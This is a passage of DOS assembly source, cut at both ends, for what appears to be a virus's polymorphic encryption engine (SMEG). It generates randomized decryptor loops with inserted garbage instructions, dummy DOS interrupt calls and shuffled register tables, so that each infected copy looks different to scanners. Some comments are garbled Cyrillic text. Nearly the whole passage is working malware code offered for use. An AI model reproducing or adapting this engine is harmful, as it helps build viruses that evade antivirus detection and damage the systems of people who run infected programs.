cs:[bp+filemask-Asciiz],0 exit_Asciiz: pop ds es popa retn asciiz endp ; ;pp p p ᪮쪨 p㣨 ;室: DS:[SI] p p 㤥 p p p ; ES:[DI] p p: ; db 6,'sergey' ; db 5,'misha' ; db 0ffh - p ;室: AX==0 - ᮢ ; AX!=0 - p ᮢ襩 p cmps_string_with_databasestring proc near push di cx cld xor cx,cx mov ax,01h next_string: push si di mov cl,es:[di] cmp cl,0ffh jz no_coincide_string inc di rep cmpsb ; p DS:[SI] ES:[DI] pop di si jz coincide_string mov cl,es:[di] add di,cx inc di inc ax jmp next_string coincide_string: pop cx di retn no_coincide_string: pop di si cx di xor ax,ax retn cmps_string_with_databasestring endp ; al_to_big_letter: cmp al,61h ;pp 訥 㪢 jc this_is_not_bigletter cmp al,7ah ja this_is_not_bigletter sub al,20h this_is_not_bigletter: retn ; [ASCIIZ.ASM] [RANDOM.ASM] ; ; pp p⪨ 砩 ᫠ ; 室: OLD_AX ; 室: 0<=NEW_AX<=OLD_AX random_any_ax: mov ax,0fffeh random_ax: xchg ax,dx call random_dx xchg ax,dx retn ; ; pp p⪨ 砩 ᫠ ; 室: OLD_DX ; 室: 0<=NEW_DX<=OLD_DX random_any_dx: mov dx,0fffeh random_dx: push ax bx dx call init_rnd_proc cell_for_rnd_number dw 0100h init_rnd_proc: pop bx imul ax,word ptr cs:[bx],4dh inc ax mov word ptr cs:[bx],ax pop bx inc bx or bx,bx jz quit_from_rnd xor dx,dx div bx ;DX:AX / BX -> AX:DX quit_from_rnd: pop bx ax retn ; [RANDOM.ASM] [SMEG.ASM] ; SMEG: mov bx,offset(dataarea_for_SMEG-virus) mov ds:[bx+datasize-dataarea_for_SMEG],cx ; save length to crypt mov ds:[bx+sourceptr-dataarea_for_SMEG],dx ; save offset to data to crypt mov ds:[bx+targetptr-dataarea_for_SMEG],di ; save offset to where to put crypted stuff add bx,6 mov cx,28h-6h ; clear the work area with 0's push bx clear_dataarea: mov [bx],ch inc bx loop clear_dataarea ;-------------- mov ds:[initialIP-virus],ax ; store initial IP mov bx,offset(use_regs_tbl-virus) mov ax,23d call random_ax xlat ;AL=[BX+AL] pop bx mov cx,4h fill_registers: xor dl,dl ; fill in which registers rcl al,1 ; do which job rcl dl,1 rcl al,1 rcl dl,1 mov [bx],dl inc bx loop fill_registers mov byte ptr [bx],5 ; use BP as a garbling register inc bx inc bx mov dx,1h call random_dx add dl,6h mov [bx],dl ; register xor dl,1 ; flip to the other one cmp byte ptr [bx-3],3 ; is it BX? jne is_not_bx mov [bx-3],dl mov dl,3 is_not_bx: mov [bx+1],dl mov dl,[bx-3] mov [bx-1],dl gen_cryptval: call random_any_dx or dl,dl jz gen_cryptval mov ds:[cryptval-virus],dl ; store encryption value call random_any_dx ; get a random value for the inc dx ; offset of memory references, mov ds:[ptr_offsets-virus],dx ; i.e. the XXXX in [bp+XXXX] mov dx,3h call random_dx ; do the following from add dx,3h ; 3..7 times xchg cx,dx begin_garble: push cx call garble_more call random_ax cmp al,8Ch jbe no_int21 mov ax,(number_of_fnc21-1) call random_ax add ax,offset(int21fcns-virus) xchg si,ax mov ah,0B4h lodsb xchg ah,al stosw ;AX -> DS:SI mov ax,21CDh stosw ;AX -> DS:SI no_int21: pop cx loop begin_garble mov al,0E8h stosb push di ; write garbage for offset stosw ; of call for now call garble_more ; encode some garbage mov al,0E9h ; encode a JMP stosb pop bx push di stosw push di pop ax dec ax dec ax sub ax,bx mov [bx],ax ; patch CALL to point to ; space past the JMP where we call garble_more ; encode a garbage subroutine mov al,0C3h ; encode a RETN stosb pop bx push di pop ax dec ax dec ax sub ax,bx mov [bx],ax ; Make JMP go past subroutine call encode_routine ; encode the routine! mov si,offset(dataarea_for_SMEG-virus+8) ; default to using data temp ; storage register to return ; to top of loop and al,al ; check return code of routine jnz how_to_top dec si ; if 0, instead use encryption dec si ; value register to return how_to_top: mov al,75h ; encode JNZ stosb inc di push di call garble_some pop bx mov al,0E9h ; encode a JMP stosb push di inc di ; skip the offset for now inc di mov ax,di sub ax,bx mov [bx-1],al ; patch the JNZ call garble_some call random_any_ax and ax,3 ; first entry requires add ax,ax ; no register setup, so jz no_setup ; jmp past it push ax mov al,0B8h or al,[si] ; MOV word-reg, XXXX stosb mov ax,ds:[loop_top-virus] sub ax,ds:[targetptr-virus] add ax,ds:[initialIP-virus] stosw call garble_some pop ax no_setup: add ax,offset(jmp_table-virus) xchg bx,ax mov bx,[bx] call bx ; encode method of returning stosw ;AX->DS:[DI] ; to the top of the loop pop bx mov ax,di sub ax,bx dec ax dec ax mov [bx],ax call garble_more pad_paragraph: mov ax,di ; pad the decryptor out to the sub ax,ds:[targetptr-virus] ; nearest paragraph and al,0Fh ; do we need to? jz padded ; no, we are done cmp al,0Ch ; otherwise, still a lot to go? ja one_byte_pad ; no, do one byte at a time call not_branch_garble ; else do a nonbranching jmp short pad_paragraph ; instruction one_byte_pad: call random_any_ax ; do a random one byte padding call do_one_byte ; instruction jmp short pad_paragraph padded: mov bx,offset(dataarea_for_SMEG-virus) mov ax,di sub ax,ds:[bx+targetptr-dataarea_for_SMEG] mov ds:[bx+decryptor_size-dataarea_for_SMEG],ax add ax,ds:[bx+initialIP-dataarea_for_SMEG] mov cx,ds:[bx+pointer_fixup-dataarea_for_SMEG] sub ax,cx mov bx,ds:[bx+pointer_patch-dataarea_for_SMEG] mov [bx],ax mov bl,ds:[crypt_type-virus] ; get encryption type so mov cl,3 ; the initial value of the ror bl,cl ; counter can be calculated and bx,0Fh add bx,offset(counter_init_table-virus) mov ax,ds:[datasize-virus] mov bx,[bx] call bx mov bx,ds:[counter_patch-virus] ; patch the value of the mov [bx],ax ; counter as needed retn ; write_table: dw offset(write_nothing-virus) dw offset(write_cryptval-virus) dw offset(write_pointer_patch-virus) dw offset(write_counter_patch-virus) dw offset(write_ptr_offset-virus) dw offset(write_dl-virus) ; ; In the following table, each pair of bits represents a register ; in standard Intel format, i.e. 00 = ax, 01 = cx, 10 = dx, 11 = bx use_regs_tbl: db 00011011b ; ax cx dx bx db 11000110b ; bx ax cx dx db 10110001b ; dx bx ax cx db 01101100b ; cx dx bx ax db 11100100b ; bx dx cx ax db 00111001b ; ax bx dx cx db 01001110b ; cx ax bx dx db 10010011b ; dx cx ax bx db 01001011b ; cx ax dx bx db 11010010b ; bx cx ax dx db 10110100b ; dx bx cx ax db 00101101b ; ax dx cx bx db 11100001b ; bx dx ax cx db 01111000b ; cx bx dx ax db 00011110b ; ax cx bx dx db 10000111b ; dx ax cx bx db 00100111b ; ax dx cx bx db 11001001b ; bx ax dx cx db 01110010b ; cx bx ax dx db 10011100b ; dx cx bx ax db 11011000b ; dx ax bx cx db 00110110b ; ax bx cx dx db 10001101b ; bx cx dx ax db 01100011b ; cx dx ax bx ; onebyte_table: dec ax inc ax clc cld cmc stc inc ax dec ax ; ; high byte holds the opcode, low byte holds the second byte of the ; instruction, i.e. holds the reg/mod, etc. the bottom 2 bits of the low ; byte hold the maximum amount to add to the high byte in creating the ; instruction. This allows one word to generate more than one instruction, ; including the byte or word forms of the instructions ; note that this is reverse of what will be actually stored garble_table: dw 80F1h ; XOR reg, XXXX dw 3201h ; XOR reg, [reg] dw 0F6C1h ; TEST reg, XXXX dw 8405h ; TEST/XCHG reg, [reg] dw 80E9h ; SUB reg, XXXX (2 diff encodings) dw 2A01h ; SUB reg, [reg] dw 0D0EBh ; SHR reg, 1 dw 1A01h ; SBB reg, [reg] dw 80D9h ; SBB reg, XXXX dw 80D1h ; ADC reg, XXXX dw 0D0FBh ; SAR reg, 1/CL dw 0D0E3h ; SHL reg, 1/CL dw 0D0CBh ; ROR reg, 1/CL dw 0D0C3h ; ROL reg, 1/CL dw 8405h ; TEST/XCHG reg, [reg] dw 0D0DBh ; RCR reg, 1/CL dw 0C6C1h ; MOV reg, XXXX dw 080C9h ; OR reg, XXXX dw 0A01h ; OR reg, [reg] dw 0F6D1h ; NOT reg dw 0F6D9h ; NEG reg dw 8A01h ; MOV reg, [reg] dw 0C6C1h ; MOV reg, XXXX dw 0201h ; ADD reg, [reg] dw 80C1h ; ADD reg, XXXX dw 80FDh ; CMP reg, XXXX dw 3807h ; CMP reg, [reg] (2 diff encodings) dw 80E1h ; AND reg, XXXX dw 0D0D3h ; RCL reg, 1/CL dw 2201h ; AND reg, [reg] dw 1201h ; ADC reg, [reg] dw 8A01h ; MOV reg, [reg] ; number_of_fnc21=11 int21fcns db 0Dh,19h,2Ah,2Ch,2Eh,30h,3Dh,41h,4Dh,54h,62h ;0Dh,2Eh,3Dh,41h,4Dh,54h,62h ; counter_init_table: dw offset(counterinit0-virus) dw offset(counterinit1-virus) dw offset(counterinit2-virus) dw offset(counterinit3-virus) dw offset(counterinit4-virus) dw offset(counterinit5-virus) dw offset(counterinit6-virus) dw offset(counterinit7-virus) ; encode_table: dw offset(use_as_is-virus) dw offset(fill_mod_field-virus) dw offset(fill_field-virus) dw offset(fill_reg_reg1-virus) dw offset(fill_reg_field-virus) dw offset(fill_mod_n_reg-virus) dw offset(fill_reg_reg2-virus) ; encode_tbl1: db 8h,8Ch,0,0C8h,4,0 ; 1 MOV reg0, CS db 8h,8Eh,0,0D8h,4,0 ; 2 MOV DS, reg0 db 7h,0B8h,4,-1,0,2 ; 3 MOV reg7,initial pointer db 1h,0B8h,4,-1,0,3 ; 4 MOV reg1,initial counter db 57h,8Ah,0,80h,5,4 ; 5 MOV reg2,[reg7+offset] db 57h,88h,0,80h,5,4 ; 6 MOV [reg7+offset],reg2 db 2h,80h,0,0F0h,4,1 ; 7 XOR reg2,cryptvalue db 11h,8Bh,0,0C0h,5,0 ; 8 MOV reg2,reg1 db 78h,30h,0,0,6,0 ; 9 XOR [reg7],reg0 db 47h,0F6h,0,98h,4,4 ; A NEG [reg7+offset] db 47h,0F6h,0,90h,4,4 ; B NOT [reg7+offset] db 7,40h,4,-1,0,0 ; C INC reg7 db 1,48h,4,-1,0,0 ; D DEC reg1 db 8h,0B0h,4,-1,0,1 ; E MOV reg0,cryptval db 10h,33h,0,0C0h,5,0 ; F XOR reg2,reg0 ; encode_tbl2: db 47h,86h,0,80h,5,4 ; 1 XCHG reg0,[reg7+offset] db 8h,40h,4,-1,0,0 ; 2 INC reg0 db 8h,48h,4,-1,0,0 ; 3 DEC reg0 db 7h,81h,0,0C0h,4,15h ; 4 ADD reg7,1 db 1,81h,0,0E8h,4,15h ; 5 SUB reg1,1 db 10h,2,0,0C0h,5,0 ; 6 ADD reg2,reg0 db 10h,2Ah,0,0C0h,5,0 ; 7 SUB reg2,reg0 db 47h,0FBh,4,0B0h,4,4 ; 8 PUSH [reg7+offset] db 47h,8Fh,0,80h,4,4 ; 9 POP [reg7+offset] db 8h,50h,4,-1,0,0 ; A PUSH reg0 db 8h,58h,4,-1,0,0 ; B POP reg0 db 10h,87h,0,0C0h,5,0 ; C XCHG reg2,reg0 db 2,40h,4,-1,0,0 ; D INC reg2 db 8,8Bh,0,0C0h,5,0 ; E MOV reg1,reg0 db 9,23h,0,0C0h,5,0 ; F AND reg1,reg1 ; routine4: db 10h ; MOV reg0,CS (1) ; MOV reg7,initial pointer (3) ; MOV DS,reg0 (2) ; MOV reg1,initial counter (4) ; MOV reg0,encryption value (E) ; XOR reg2,reg0 (F) ; beginning of loop (0) ; MOV reg2,[reg7+offset] (5) ; XOR reg2,reg0 (F) ; INC reg0 (02) ; MOV [reg7+offset],reg2 (6) ; INC reg7 (C) ; DEC reg1 (D) ; done (-1) db 13h,24h,0EFh,05h,0F0h,26h,0CDh,-1 ; routine8: db 71h ; MOV reg7,initial pointer (3) ; MOV reg1,initial counter (4) ; MOV reg0,CS (1) ; MOV DS,reg0 (2) ; MOV reg0,encryption value (E) ; MOV reg0,encryption value (E) ; beginning of loop (0) ; DEC reg1 (D) ; NEG [reg7+offset] (A) ; DEC reg1 (D) ; MOV reg2,[reg7+offset] (5) ; XOR reg2,reg0 (F) ; MOV [reg7+offset],reg2 (6) ; DEC reg0 (03) ; ADD reg7,1 (04) ; SUB reg1,1 (05) ; DEC reg0 (03) ; SUB reg1,1 (05) ; done (-1) db 34h,12h,0EEh,0Dh,0ADh,5Fh,60h,30h,40h,50h,30h,50h,-1 ; routine1: db 42h ; MOV reg1,initial counter (4) ; MOV reg7,initial pointer (3) ; MOV reg0,CS (1) ; XCHG reg2,reg0 (0C) ; MOV reg0,encryption value (E) ; MOV reg0,encryption value (E) ; XCHG reg2,reg0 (0C) ; MOV DS,reg0 (2) ; beginning of loop (0) ; XCHG reg0,[reg7+offset] (01) ; XOR reg2,reg0 (F) ; MOV [reg7+offset],reg2 (6) ; MOV reg2,reg1 (8) ; MOV reg2,reg1 (8) ; INC reg2 (0D) ; INC reg2 (0D) ; INC reg2 (0D) ; DEC reg0 (03) ; XCHG reg2,reg0 (0C) ; MOV reg1,reg0 (0E) ; ADD reg7,1 (04) ; AND reg1,reg1 (0F) ; done (-1) ; return code 0 (0) db 43h,10h,0CEh,0E0h,0C2h,0,1Fh,68h,80h,0D0h,0D0h,0D0h db 30h,0C0h,0E0h,40h,0F0h,-1,0 ; routineC: db 33h ; MOV reg0,CS (1) ; MOV reg1,initial counter (4) ; MOV DS,reg0 (2) ; MOV reg7,initial pointer (3) ; MOV reg0,encryption value (E) ; MOV reg0,encryption value (E) ; beginning of loop (0) ; DEC reg1 (D) ; DEC reg1 (D) ; NOT [reg7+offset] (B) ; MOV reg2,[reg7+offset] (5) ; XOR reg2,reg0 (F) ; MOV [reg7+offset],reg2 (6) ; XOR reg2,reg0 (F) ; INC reg7 (C) ; INC reg0 (02) ; INC reg0 (02) ; XOR reg2,reg0 (F) ; done (-1) db 14h,23h,0EEh,0Dh,0DBh,5Fh,6Fh,0C0h,20h,20h,0F0h,-1 ; routineE: db 64h ; MOV reg1,initial counter (4) ; MOV reg0,CS (1) ; MOV DS,reg0 (2) ; MOV reg0,encryption value (E) ; MOV reg7,initial pointer (3) ; XOR reg2,reg0 (F) ; beginning of loop (0) ; XOR [reg7],reg0 (9) ; MOV reg2,reg1 (8) ; XCHG reg2,reg0 (0C) ; INC reg0 (02) ; INC reg2 (0D) ; INC reg0 (02) ; ADD reg7,1 (04) ; INC reg0 (02) ; INC reg0 (02) ; MOV reg1,reg0 (0E) ; INC reg2 (0D) ; XCHG reg2,reg0 (0C) ; AND reg1,reg1 (0F) ; done (-1) db 41h,2Eh,3Fh,9h,80h,0C0h,20h,0D0h,20h,40h,20h,20h db 0E0h,0D0h,0C0h,0F0h,-1 ; routine2: db 5h ; MOV reg0,CS (1) ; MOV reg7,initial pointer (3) ; MOV reg1,initial counter (4) ; MOV DS,reg0 (2) ; MOV reg0,encryption value (E) ; XOR reg2,reg0 (F) ; beginning of loop (0) ; DEC reg1 (D) ; XOR reg2,encryption value (7) ; PUSH reg0 (0A) ; PUSH [reg7+offset] (08) ; POP reg0 (0B) ; XCHG reg2,reg0 (0C) ; POP reg0 (0B) ; PUSH reg0 (0A) ; SUB reg2,reg0 (07) ; MOV [reg7+offset],reg2 (6) ; INC reg7 (C) ; MOV reg2,reg1 (8) ; MOV reg2,reg1 (8) ; INC reg2 (0D) ; INC reg2 (0D) ; XCHG reg2,reg0 (0C) ; MOV reg1,reg0 (0E) ; POP reg0 (0B) ; INC reg0 (02) ; AND reg1,reg1 (0F) ; done (-1) db 13h,42h,0EFh,0Dh,70h,0A0h,80h,0B0h,0C0h,0B0h,0A0h db 76h,0C8h,80h,0D0h,0D0h,0C0h,0E0h,0B0h,20h,0F0h,-1 ; routineF: db 56h ; MOV reg7,initial pointer (3) ; MOV reg1,initial counter (4) ; MOV reg0,CS (1) ; MOV DS,reg0 (2) ; MOV DS,reg0 (2) ; MOV reg0,encryption value (E) ; beginning of loop (0) ; MOV reg2,[reg7+offset] (5) ; INC reg2 (0D) ; ADD reg2,reg0 (06) ; MOV [reg7+offset],reg2 (6) ; MOV reg2,reg1 (8) ; DEC reg0 (03) ; XOR reg2,reg0 (F) ; DEC reg1 (D) ; INC reg7 (C) ; DEC reg1 (D) ; done (-1) db 34h,12h,2Eh,5h,0D0h,66h,80h,3Fh,0DCh,0D0h,-1 ; routine9: db 27h ; MOV reg1,initial counter (4) ; MOV reg0,CS (1) ; MOV reg7,initial pointer (3) ; MOV DS,reg0 (2) ; MOV reg0,encryption value (E) ; XOR reg2,reg0 (F) ; beginning of loop (0) ; XOR [reg7],reg0 (9) ; XOR reg2,reg0 (F) ; ADD reg7,1 (04) ; PUSH reg0 (0A) ; MOV reg2,reg1 (8) ; DEC reg1 (D) ; INC reg2 (0D) ; INC reg2 (0D) ; INC reg2 (0D) ; XCHG reg2,reg0 (0C) ; MOV reg1,reg0 (0E) ; POP reg0 (0B) ; DEC reg0 (03) ; AND reg1,reg1 (0F) ; done (-1) db 41h,32h,0EFh,9h,0F0h,40h,0A8h,0D0h,0D0h,0D0h db 0C0h,0E0h,0B0h,30h,0F0h,-1 ; routine7: db 32h ; MOV reg1,initial counter (4) ; MOV reg0,CS (1) ; MOV reg7,initial pointer (3) ; MOV DS,reg0 (2) ; MOV reg0,encryption value (E) ; XCHG reg2,reg0 (0C) ; beginning of loop (0) ; MOV reg2,reg1 (8) ; DEC reg1 (D) ; POP reg0 (0B) ; XOR reg2,reg0 (F) ; MOV [reg7+offset],reg2 (6) ; DEC reg0 (03) ; XCHG reg2,reg0 (0C) ; ADD reg7,1 (04) ; DEC reg1 (D) ; done (-1) ; return code 0 (0) db 41h,32h,0E0h,0C0h,8h,0D0h,0BFh,60h,30h,0C0h,4Dh,-1,0 ; routine5: db 11h ; MOV reg1,initial counter (4) ; MOV reg7,initial pointer (3) ; MOV reg0,CS (1) ; MOV DS,reg0 (2) ; MOV reg0,encryption value (E) ; XOR reg2,reg0 (F) ; beginning of loop (0) ; NEG [reg7+offset] (A) ; MOV reg2,[reg7+offset] (5) ; XOR reg2,reg0 (F) ; DEC reg1 (D) ; DEC reg0 (03) ; DEC reg0 (03) ; XCHG reg2,reg0 (0C) ; XCHG reg0,[reg7+offset] (01) ; XCHG reg2,reg0 (0C) ; ADD reg7,1 (04) ; AND reg1,reg1 (0F) ; done (-1) db 43h,12h,0EFh,0Ah,5Fh,0D0h,30h,30h,0C0h,10h,0C0h,40h,0F0h,-1 ; routineB: db 66h ; MOV reg7,initial pointer (3) ; MOV reg0,CS (1) ; MOV reg1,initial counter (4) ; MOV DS,reg0 (2) ; MOV reg0,encryption value (E) ; XOR reg2,reg0 (F) ; beginning of loop (0) ; PUSH reg0 (0A) ; PUSH [reg7+offset] (08) ; MOV reg2,reg1 (8) ; MOV reg2,reg1 (8) ; XCHG reg2,reg0 (0C) ; INC reg0 (02) ; INC reg0 (02) ; INC reg0 (02) ; INC reg0 (02) ; MOV reg1,reg0 (0E) ; POP reg0 (0B) ; XCHG reg2,reg0 (0C) ; POP reg0 (0B) ; ADD reg2,reg0 (06) ; PUSH reg0 (0A) ; XCHG reg2,reg0 (0C) ; PUSH reg0 (0A) ; POP [reg7+offset] (09) ; POP reg0 (0B) ; DEC reg0 (03) ; INC reg7 (C) ; XOR reg2,reg0 (F) ; AND reg1,reg1 (0F) ; done (-1) db 31h,42h,0EFh,0,0A0h,88h,80h,0C0h,20h,20h,20h,20h,0E0h db 0B0h,0C0h,0B0h,60h,0A0h,0C0h,0A0h,90h,0B0h,3Ch,0F0h,0F0h,-1 ; routine3: db 4h ; MOV reg0,CS (1) ; MOV DS,reg0 (2) ; MOV reg0,encryption value (E) ; MOV reg2,reg1 (8) ; MOV reg1,initial counter (4) ; MOV reg7,initial pointer (3) ; beginning of loop (0) ; MOV reg2,reg1 (8) ; DEC reg1 (D) ; INC reg2 (0D) ; XCHG reg2,reg0 (0C) ; MOV reg1,reg0 (0E) ; XCHG reg2,reg0 (0C) ; XOR [reg7],reg0 (9) ; INC reg7 (C) ; INC reg0 (02) ; INC reg0 (02) ; AND reg1,reg1 (0F) ; done (-1) db 12h,0E8h,43h,8,0D0h,0D0h,0C0h,0E0h,0C9h,0C0h,20h,20h db 0F0h,-1 ; routineD: db 73h ; MOV reg7,initial pointer (3) ; MOV reg0,CS (1) ; MOV reg1,initial counter (4) ; MOV DS,reg0 (2) ; MOV reg0,encryption value (E) ; MOV reg1,initial counter (4) ; beginning of loop (0) ; DEC reg1 (D) ; DEC reg1 (D) ; DEC reg1 (D) ; NOT [reg7+offset] (B) ; PUSH reg0 (0A) ; PUSH [reg7+offset] (08) ; POP reg0 (0B) ; XCHG reg2,reg0 (0C) ; POP reg0 (0B) ; XOR reg2,reg0 (F) ; MOV [reg7+offset],reg2 (6) ; INC reg0 (02) ; ADD reg7,1 (04) ; INC reg0 (02) ; SUB reg1,1 (05) ; done (-1) db 31h,42h,0E4h,0Dh,0DDh,0B0h,0A0h,80h,0B0h,0C0h,0BFh,60h db 20h,40h,20h,50h,-1 ; routine0: db 20h ; MOV reg0,encryption value (E) ; XCHG reg2,reg0 (0C) ; MOV reg0,CS (1) ; MOV reg7,initial pointer (3) ; MOV DS,reg0 (2) ; MOV reg1,initial counter (4) ; beginning of loop (0) ; XCHG reg0,[reg7+offset] (01) ; XCHG reg2,reg0 (0C) ; XOR reg2,reg0 (F) ; DEC reg1 (D) ; XCHG reg2,reg0 (0C) ; XCHG reg0,[reg7+offset] (01) ; XCHG reg2,reg0 (0C) ; MOV reg2,reg1 (8) ; INC reg7 (C) ; INC reg2 (0D) ; INC reg2 (0D) ; INC reg2 (0D) ; INC reg0 (02) ; XCHG reg2,reg0 (0C) ; MOV reg1,reg0 (0E) ; AND reg1,reg1 (0F) ; done (-1) ; return code 0 (0) db 0E0h,0C1h,32h,40h,0,10h,0CFh,0D0h,0C0h,10h,0C8h,0C0h,0D0h db 0D0h,0D0h,20h,0C0h,0E0h,0F0h,-1,0 ; routine6: db 55h ; MOV reg1,initial counter (4) ; MOV reg7,initial pointer (3) ; MOV reg0,CS (1) ; MOV DS,reg0 (2) ; MOV reg0,encryption value (E) ; MOV reg7,initial pointer (3) ; beginning of loop (0) ; MOV reg2,[reg7+offset] (5) ; DEC reg1 (D) ; SUB reg2,reg0 (07) ; INC reg0 (02) ; SUB reg1,1 (05) ; MOV [reg7+offset],reg2 (6) ; INC reg7 (C) ; DEC reg1 (D) ; done (-1) db 43h,12h,0E3h,5h,0D0h,70h,20h,56h,0CDh,-1 ; routineA: db 47h ; MOV reg0,encryption value (E) ; MOV reg7,initial pointer (3) ; MOV reg1,initial counter (4) ; XCHG reg2,reg0 (0C) ; MOV reg0,CS (1) ; MOV DS,reg0 (2) ; beginning of loop (0) ; PUSH [reg7+offset] (08) ; POP reg0 (0B) ; XCHG reg2,reg0 (0C) ; XOR reg2,reg0 (F) ; MOV [reg7+offset],reg2 (6) ; MOV reg2,reg1 (8) ; DEC reg1 (D) ; DEC reg0 (03) ; INC reg2 (0D) ; INC reg2 (0D) ; INC reg2 (0D) ; XCHG reg2,reg0 (0C) ; MOV reg1,reg0 (0E) ; ADD reg7,1 (04) ; AND reg1,reg1 (0F) ; done (-1) ; return code 0 (0) db 0E3h,40h,0C1h,20h,0h,80h,0B0h,0CFh,68h,0D0h,30h,0D0h,0D0h db 0D0h,0C0h,0E0h,40h,0F0h,-1,0 ; jmp_table: dw offset(jmp0-virus) dw offset(jmp1-virus) dw offset(jmp2-virus) dw offset(jmp3-virus) ; routine_table: dw offset(routine0-virus) dw offset(routine1-virus) dw offset(routine2-virus) dw offset(routine3-virus) dw offset(routine4-virus) dw offset(routine5-virus) dw offset(routine6-virus) dw offset(routine7-virus) dw offset(routine8-virus) dw offset(routine9-virus) dw offset(routineA-virus) dw offset(routineB-virus) dw offset(routineC-virus) dw offset(routineD-virus) dw offset(routineE-virus) dw offset(routineF-virus) ; counterinit0: neg ax counterinit1: retn counterinit2: neg ax counterinit3: add ax,ax retn counterinit4: neg ax counterinit5: mov cx,ax add ax,ax add ax,cx retn counterinit6: neg ax counterinit7: add ax,ax add ax,ax retn jmp0: mov al,0E9h ; encode a JMP stosb ; (with word offset) mov ax,di ; calculate offset to sub ax,ds:[loop_top-virus] ; top of decryption loop inc ax ; adjust for jmp instruction inc ax neg ax ; adjust for going back instead retn ; of forwards jmp1: mov ax,0E0FFh ; encode JMP register or ah,[si] retn jmp2: mov ax,0C350h ; encode PUSH/RETn jmpXdone: or al,[si] retn jmp3: mov al,0Eh ; encode PUSH CS stosb call garble_some ; garble a bit mov ax,0CB50h ; encode PUSH reg/RETN jmp short jmpXdone ; encode_routine: call random_any_ax ; pick a random routine mov bx,offset(routine_table-virus) ; to use and ax,0Fh add ax,ax add bx,ax mov bx,[bx] mov si,bx lodsb ; get the first byte mov ds:[crypt_type-virus],al ; and save it jmp short encode_routine2 ; keep going... ; encode_it: lodsb ; get the next byte cmp ah,-1 ; are we done? je use_as_is ; if so, exit xor bh,bh ; convert AL to add al,al ; offset in encode_table mov bl,al add bx,offset(encode_table-virus) mov al,dh mov cx,3 mov bx,[bx] call bx xchg ah,al stosb ; write the resulting byte use_as_is: retn ; fill_mod_field: ror al,cl fill_field: and al,7h ; get the register # al mov bx,offset(dataarea_for_SMEG-virus+6) xlat rol al,cl and cl,cl ; encoding rm or reg? jnz not_memory ; branch if doing rm test dh,40h ; memory access? jz not_memory cmp al,3h ; using bx? jne not_BX mov al,7h ; change it to di jmp short not_memory not_BX: cmp al,6h ; is it si? jb not_memory sub al,2h ; change it to double register not_memory: or ah,al retn fill_reg_reg1: ror al,cl ; [reg], reg fill_reg_field: xor cl,cl ; fill bottom 3 bits only jmp short fill_field fill_mod_n_reg: call fill_mod_field ; fill mod field as usual mov al,dh ; fill reg field with the jmp short fill_reg_field ; register that holds the fill_reg_reg2: call fill_field mov al,dh jmp short fill_reg_reg1 ; encode_routine2: mov word ptr ds:[which_tbl-virus],offset(encode_tbl1-6h-virus) process_all: lodsb ; get a byte cmp al,-1 ; are we at the end? jne process_byte ; no, keep going lodsb ; else get returncode and exit retn ; process_byte: push si ax mov cl,4 call process_nibble xor cl,cl pop ax call process_nibble pop si jmp short process_all process_nibble: ror al,cl ; only use the part of and ax,0Fh ; the byte that we want jnz no_switch_table and cl,cl ; if the lower half of byte=0, jz switch_tables ; switch tables mov ds:[loop_top-virus],di ; otherwise save this location retn ; as the top of the loop switch_tables: mov word ptr ds:[which_tbl-virus],offset(encode_tbl2-6-virus) retn no_switch_table: push ax call garble_more pop ax add ax,ax ; calculate AX*6+ds:[which_tbl--virus] mov bx,ax add ax,ax add ax,bx add ax,ds:[which_tbl-virus] mov word ptr ds:[which_tbl-virus],offset(encode_tbl1-6h-virus) xchg si,ax lodsb mov dh,al ; dh holds first byte lodsb xchg ah,al ; ah holds second byte call encode_it ; process it lodsb ; now ah holds the next byte xchg ah,al call encode_it ; process it lodsb ; get the next byte mov dl,al ; it tells us which and ax,0Fh ; value to write in add ax,ax ; this is the modifier add ax,offset(write_table-virus) xchg bx,ax ; value, etc. mov bx,[bx] jmp bx write_nothing: retn write_cryptval: mov al,ds:[cryptval-virus] stosb retn write_pointer_patch: ; save location of pointer initialisation mov ds:[pointer_patch-virus],di stosw retn write_counter_patch: ; save location of counter initialisation mov ds:[counter_patch-virus],di stosw retn write_ptr_offset: ; write XXXX of [bx+XXXX] mov ax,ds:[ptr_offsets-virus] mov ds:[pointer_fixup-virus],ax stosw retn write_dl: mov al,dl ; write lower half of top mov cl,4 ; byte of dl as a word shr al,cl ; used as amount to increment and ax,0Fh stosw retn ; garble_some: push si mov dx,3 ; garble 2-5 times call multiple_garble pop si retn ; garble_more: mov dx,7h multiple_garble: call random_dx inc dx inc dx xchg cx,dx garble_again: push cx ; save garble count call garble_once ; garble pop cx ; restore garble count loop garble_again cmp ds:[cJMP_patch-virus],cx ; cJMP_patch == 0? i.e. is je skip_finish_cJMP ; there an unfinished cJMP? call finish_cJMP ; if so, finish it skip_finish_cJMP: call many_nonbranch_garble ; garble garble mov bx,ds:[nJMP_patch-virus] ; check if pending nJMP and bx,bx jnz loc_0047 ; if so, keep going retn loc_0047: ; xref 4028:0996 mov al,0C3h ; encode a RETN stosb mov ax,di sub ax,bx dec ax dec ax mov [bx],ax mov ds:[CALL_patch-virus],bx mov word ptr ds:[nJMP_patch-virus],0 ; many_nonbranch_garble: call random_any_ax ; do large instruction and ax,3 ; garble from 3 to 6 times add al,3 xchg cx,ax many_nonbranch_garble_loop: push cx call not_branch_garble pop cx loop many_nonbranch_garble_loop retn ; ; finish_cJMP simply encodes a few instructions between the conditional ; jmp and its target, and then sets the destination of the jmp to be after ; the inserted instructions. finish_cJMP: mov ax,di ; get current location mov bx,ds:[cJMP_patch-virus] ; get previous location sub ax,bx dec al ; calculate offset jnz go_patch_cJMP ; if nothing in between, call not_branch_garble ; fill in some instructions jmp short finish_cJMP ; and do this again go_patch_cJMP: cmp ax,7Fh ; are we close enough? jbe patch_cJMP ; if so, finish this now xor al,al ; if not, encode cJMP $+2 patch_cJMP: mov [bx],al ; patch the cJMP destination mov word ptr ds:[cJMP_patch-virus],0 ; clear usage flag retn ; set_reg_mask: and cl,0F8h ; clear bottom 3 bits mov bx,offset(dataarea_for_SMEG-virus+6) mov dh,7h ; assume one of 8 registers test dl,4h ; can we use any register? jnz set_reg_mask_exit ; if so, quit add bx,3 ; otherwise, set mask so we mov dh,3 ; only choose from regs 3-6 set_reg_mask_exit: retn ; choose_register: call random_any_ax ; get random number xor ah,ah ; clear high byte and al,dh ; use mask from set_reg_mask add bx,ax mov al,[bx] ; get the register number test ch,1 ; byte or word register? jnz choose_reg_done ; if word, we are okay test byte ptr [si-2],4 ; otherwise, check if we can jnz choose_reg_done ; take only half the register mov ah,al ; uh oh, we can't, so... and al,3 ; is it one of the garbage cmp al,ds:[dataarea_for_SMEG-virus+9h] mov 